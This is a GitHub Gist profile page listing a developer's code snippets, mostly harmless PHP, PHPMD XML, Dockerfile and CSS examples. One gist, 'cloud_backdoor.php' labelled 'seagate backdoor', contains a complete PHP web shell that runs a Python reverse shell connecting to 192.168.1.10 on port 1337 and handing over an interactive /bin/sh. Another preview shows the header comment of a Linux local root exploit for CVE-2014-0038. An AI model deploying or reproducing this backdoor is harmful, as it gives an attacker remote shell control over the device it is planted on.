Skip to content

Instantly share code, notes, and snippets.

View miholeus's full-sized avatar
💭
🤖

miholeus

💭
🤖
View GitHub Profile
@miholeus
miholeus / file_lock.php
Created December 27, 2017 07:55
file lock example
$file = fopen("counter.txt", "r+");
if (flock($file, LOCK_EX)) {
$data = fread($file, 64);
$data = trim($data);
if (empty($data)) {
$data = 0;
}
$data++;
ftruncate($file, 0);
@miholeus
miholeus / Status.php
Created August 31, 2017 09:29
Status http
<?php
interface Status
{
const STATUS_CONTINUE = 'Continue';
const STATUS_SWITCHING_PROTOCOLS = 'Switching Protocols';
const STATUS_PROCESSING = 'Processing';
const STATUS_OK = 'OK';
const STATUS_CREATED = 'Created';
const STATUS_ACCEPTED = 'Accepted';
@miholeus
miholeus / phpmd.xml
Created August 16, 2017 09:42
PHPMD rulesets
<?xml version="1.0"?>
<ruleset name="My first PHPMD rule set"
xmlns="http://pmd.sf.net/ruleset/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pmd.sf.net/ruleset/1.0.0
http://pmd.sf.net/ruleset_xml_schema.xsd"
xsi:noNamespaceSchemaLocation="
http://pmd.sf.net/ruleset_xml_schema.xsd">
<description>
Project rule sets
/*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
* if the original byte at that address is known it can be overwritten
@miholeus
miholeus / cloud_backdoor.php
Created July 18, 2017 19:40
seagate backdoor
<?php set_time_limit(0);
system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
?>
@miholeus
miholeus / Dockerfile
Created January 8, 2017 23:05
docker vagrant
FROM ubuntu:16.04
ENV DEBIAN_FRONTEND noninteractive
# ensure we have the en_US.UTF-8 locale available
RUN locale-gen en_US.UTF-8
# install common dependencies
RUN apt-get update && apt-get install -y \
curl \
@miholeus
miholeus / dumpResourceBundle.php
Created September 3, 2016 20:16
PHP dump resource bundle
<?php
function dumpResourceBundle($bundle, $depth = 0) {
if ($bundle === null) {
return 'NULL';
} elseif (is_scalar($bundle)) {
return $bundle;
}
$out = '';
foreach ($bundle as $k => $v) {
@miholeus
miholeus / Doctrine_migration_fixtures.php
Created June 8, 2016 10:14
Migration with fixtures
<?php
namespace Application\Migrations;
use Doctrine\DBAL\Migrations\AbstractMigration;
use Doctrine\DBAL\Schema\Schema;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\DependencyInjection\ContainerAwareInterface;
class Version20140811164659 extends AbstractMigration implements ContainerAwareInterface
{
@miholeus
miholeus / diff_form.php
Last active May 25, 2016 14:28
Symfony form Diff Data
<?php
$data = $request->request->all();
print("REQUEST DATA<br/>");
foreach ($data as $k => $d) {
print("$k: <pre>"); print_r($d); print("</pre>");
}
$children = $form->all();
@miholeus
miholeus / login_form.css
Created January 8, 2016 19:01
login form
body{
background-color:white;
background-image: linear-gradient(90deg, rgba(200,0,0,.5) 50%, transparent 50%),
linear-gradient(rgba(200,0,0,.5) 50%, transparent 50%);
background-size:50px 50px;
}
form{
width:250px;
margin:50px auto;
padding:15px 20px;